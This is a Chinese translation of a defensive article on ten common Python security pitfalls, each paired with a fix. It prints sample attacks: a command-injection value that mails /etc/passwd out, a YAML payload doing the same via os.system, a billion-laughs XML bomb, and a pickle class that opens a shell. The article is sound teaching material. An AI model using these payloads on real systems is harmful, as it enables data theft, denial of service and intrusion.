学习 Python 这么多年,掉过的那些安全漏洞
编写安全的代码很难。学一门语言、一个模块或一个框架时,你学到的是它应该怎么用。而在安全方面,你需要考虑它们能怎样被滥用。Python 也不例外,即使标准库的文档里已经清清楚楚地写出了那些错误的用法。即使如此,笔者与许多 Python 开发者交谈时也发现他们根本不知道这些。
以下是笔者多年开发过程中经常遇到的 10 条 Python 应用中的陷阱,排名不分先后,希望为正在学习 Python 的开发者们有所助益。
输入注入
输入注入攻击被应用得非常广泛。有许多种注入方式,能够影响到所有语言、框架和环境。
首先是 SQL 注入。如果不使用 ORM,而是直接通过字符串结合变量的方式书写 SQL 查询,就有 SQL 注入的可能性。我看过许多代码试图利用转义符防止 SQL 注入。事实上,转义符做不到。
- 各种复杂的 SQL 注入方式:https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/
命令注入发生在通过 popen、subprocess、os.system 调用进程,并传递变量作为参数时发生。调用本地命令时,参数变量有可能会被人为设置成恶意值。以下这段代码(https://www.kevinlondon.com/2015/07/26/dangerous-python-functions.html)由用户提供文件名,然后调用子进程:
import subprocess def transcode_file(request, filename): command = 'ffmpeg -i "{source}" output_file.mpg'.format(source=filename) subprocess.call(command, shell=True) # a bad idea!
攻击者可以将变量名设置为 "; cat /etc/passwd | mail [email protected] 或者任何类似的危险命令。
应对方式:
如果你使用了 Web 框架,就利用 Web 框架提供的工具对输入进行净化。除非有足够的理由,否则不要手工拼写 SQL 查询。大部分 ORM 都会提供净化的手段。
对于命令行,可以使用 shlex 模块来正确地对输入进行转义(https://docs.python.org/3/library/shlex.html#shlex.quote)。
分析XML
如果应用程序要加载并解析 XML 文件,那么你用的 XML 标准库模块有可能会受到攻击。有几种通过 XML 进行攻击的常见手段。大多数都是 DoS 攻击(拒绝服务攻击,目的是让系统瘫痪,而不是窃取数据)。这些攻击很常用,在需要解析外部 XML 文件(即不被信任的 XML 文件)时尤甚。
一种攻击叫做“billion laughs”攻击,该方法由于其内容通常包含大量“lol”(十亿个)而得名。其原理是 XML 可以引用实体,因此当 XML 解析器加载该文件时,它会占用几个 G 的内存。不信的话试试看。
<?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <lolz>&lol9;</lolz>
另一种攻击方法叫做外部实体扩展。XML 支持从外部 UR L引用实体,因此 XML 解析器通常会不加怀疑地读取并加载外部资源。“由于这些请求都来自内部可信赖的 IP 地址,不是外部地址,因此攻击者可以用这个方法绕过防火墙,访问到本来无法访问的资源。”
另一种需要考虑的情况就是你在解析 XML(如配置文件、远程 API)的时候依赖的第三方软件包。你甚至都没办法知道哪个依赖会受到这种攻击。
那么 Python 如何?实际上标准库的模块 etree、DOM、xmlrpc 都广泛受到这种攻击的影响。这里有详细的文档:https://docs.python.org/3/library/xml.html#xml-vulnerabilities
应对方法:
使用 defusedxml(https://pypi.org/project/defusedxml/)替换标准库模块。这个模块能防止这类攻击。
断言语句
不要用断言语句阻断用户不应该访问的代码。比如这个简单的例子:
def foo(request, user): assert user.is_admin, “user does not have access” # secure code...
默认情况下 Python 执行时 __debug__ 为真,但在生产环境中通常会做一些优化,这样所有断言语句都不会被运行,从而无论用户不是不是管理员都能访问到后面的代码。
应对方法:
断言语句只用来给开发者提供信息,例如在单元测试中使用,或者用来防止错误的 API 用法。
计时攻击
计时攻击的基本原理是通过测量代码的执行时间,来判断代码的行为和算法。计时攻击需要精确的时间测量,所以通常不会在高延迟的远程网络上实施。由于绝大多数 Web 应用的延迟变化很大,因此在 HTTP Web 服务器上实施计时攻击几乎不可能。
但是,如果有个提示输入密码的命令行应用,那么攻击者就可以写个简单的脚本,测量它比较给定值与实际密码所花费的时间。例子在此(http://jyx.github.io/blog/2014/02/02/timing-attack-proof-of-concept/)。
有一些用 Python 写的非常好的例子,比如这个基于 SSH 的计时攻击(https://github.com/c0r3dump3d/osueta)。可以去看看它们是如何工作的。
应对方法:
使用 Python 3.5 新加入的 secrets.compare_digest 来比较密码和其他私密值。
被污染的 site-packages 或 import 路径
Python 的 import 系统非常灵活。这在编写测试程序或需要重载核心功能时很方便。
但是,它是 Python 最大的安全漏洞之一。
在 site-packages 里安装第三方软件包,不论是在虚拟环境中还是在全局的 site-packages(全局方式强烈不建议)中安装,都会暴露出那些软件包中的安全漏洞。
曾经发生过把执行任意代码的包用与流行软件包相似的名字发布到 PyPi 上的事情(http://www.nbu.gov.sk/skcsirt-sa-20170909-pypi/)。最大的事故到现在依然没有被真正解决,尽管它只是为了提醒人们而没有造成任何危害……
另一种能想到的情况就是依赖的依赖(以及进一步的依赖等)。这有可能会引入脆弱性,还有可能通过 import 系统重载 Python 的核心功能。
应对方法:
对软件包进行审查。看看 PyUp.io 和他们的安全服务(http://pyup.io/)。所有应用都使用虚拟环境,全局 site-packages 越干净越好。检查包的签名。
临时文件
在 Python 中创建临时文件通常都要用 mktemp() 生成文件名,然后利用该文件名创建文件。“这种方式并不安全,因为另一个进程可能会在你调用 mktemp() 和后面创建文件的调用之间创建一个文件。”(https://docs.python.org/3/library/tempfile.html#deprecated-functions-and-variables)这意味着这种方法可以诱导你的应用程序加载错误的数据,或泄露临时文件的数据。
最新版本的 Python 中,如果调用了错误的方法,就会引发运行时警告。
应对方法:
需要创建临时文件时,使用 tempfile 模块和 mkstemp 函数(https://docs.python.org/3/library/tempfile.html#tempfile.mkstemp)。
使用 yaml.load
引用 PyYAML 文档中的警告:
警告:对任意不可信的来源中的数据调用 yaml.load 是不安全的!yaml.load 和 pickle.load 同样强大,可能会调用任何 Python 函数。
流行的 Python 项目 Ansible 中有这样一个漂亮的例子(https://www.talosintelligence.com/reports/TALOS-2017-0305)。给 Ansible Vault 提供下面这段(合法的)YAML。它就会利用文件中提供的参数调用 os.system() 。
!!python/object/apply:os.system ["cat /etc/passwd | mail [email protected]"]
因此,加载用户提供的 YAML 文件就会受到这种攻击。
应对方法:
除非有足够的理由,否则永远使用 yaml.safe_load。
Pickles
反序列化 pickle 的数据和 YAML 一样脆弱。Python 类可以定义魔术方法 __reduce__,该方法可以返回字符串,也可以返回一个元组,其中包含可调用的对象和参数,在 pickle 的时候就会被调用。攻击者可以用这种方式调用某个子进程模块,从而在系统上执行任意命令。
这个例子(https://blog.nelhage.com/2011/03/exploiting-pickle/)演示了怎样在 Python 2 上通过 pickle 一个类来打开 shell。这里(https://lincolnloop.com/blog/playing-pickle-security/)还有更多关于如何攻击 pickle 的例子。
import cPickle import subprocess import base64 class RunBinSh(object): def __reduce__(self): return (subprocess.Popen, (('/bin/sh',),)) print base64.b64encode(cPickle.dumps(RunBinSh()))
应对方法:
决不要从任何不可信或未认证的数据源 unpickle 数据。使用其他序列化方法,如 JSON。
使用系统的 Python 运行时,未打补丁
大多数 POSIX 系统都自带 Python 2,版本一般都很老。
由于 Python(即 CPython)是用 C 写的,有时 Python 解释器本身也有漏洞。通常与 C 语言有关的漏洞都在内存分配方面,即缓冲区溢出漏洞。
多年来 CPython 有许多溢出漏洞,这些漏洞都被后续的发布修复了。
所以,只要你及时打补丁,你就是安全的。
这里有个 Python 2.7.13 的例子(https://www.cvedetails.com/cve/CVE-2017-1000158/),整数溢出允许执行任意代码。Ubuntu 17 之前的操作系统用的都是这个版本(如果没打补丁的话)。
应对方法:
在产品环境中使用最新版的 Python,并记得打补丁!
不给依赖补丁
与给运行时打补丁类似,依赖也要定期打补丁。
我认为从 PyP 上安装“固定”版本号的 Python 包是个很差劲的想法。这种想法其实就是“这些版本能正常工作”,因此大家都不再管它们。
我上面提到的这些脆弱性,如果出现在应用程序用到的软件包中,那么也非常危险。而那些软件包的开发者们也在不断地修复这些安全漏洞。
应对方法:
用 PyUp.io 之类的服务检查更新,把新的补丁合并到你的应用程序中,运行测试保证软件包都是最新的。
用 InSpec 等工具验证产品环境中安装的版本,确保打了正确的补丁。
- 参考:https://access.redhat.com/blogs/766093/posts/2592591
原文:https://hackernoon.com/10-common-security-gotchas-in-python-and-how-to-avoid-them-e19fbe265e03
作者:Anthony Shaw,Dimension Data的创新与科技开发总监。
译者:弯月,责编:屠敏
征稿啦!
CSDN 公众号秉持着「与千万技术人共成长」理念,不仅以「极客头条」、「畅言」栏目在第一时间以技术人的独特视角描述技术人关心的行业焦点事件,更有「技术头条」专栏,深度解读行业内的热门技术与场景应用,让所有的开发者紧跟技术潮流,保持警醒的技术嗅觉,对行业趋势、技术有更为全面的认知。
如果你有优质的文章,或是行业热点事件、技术趋势的真知灼见,或是深度的应用实践、场景方案等的新见解,欢迎联系 CSDN 投稿,联系方式:微信(guorui_1118,请备注投稿+姓名+公司职位),邮箱([email protected])。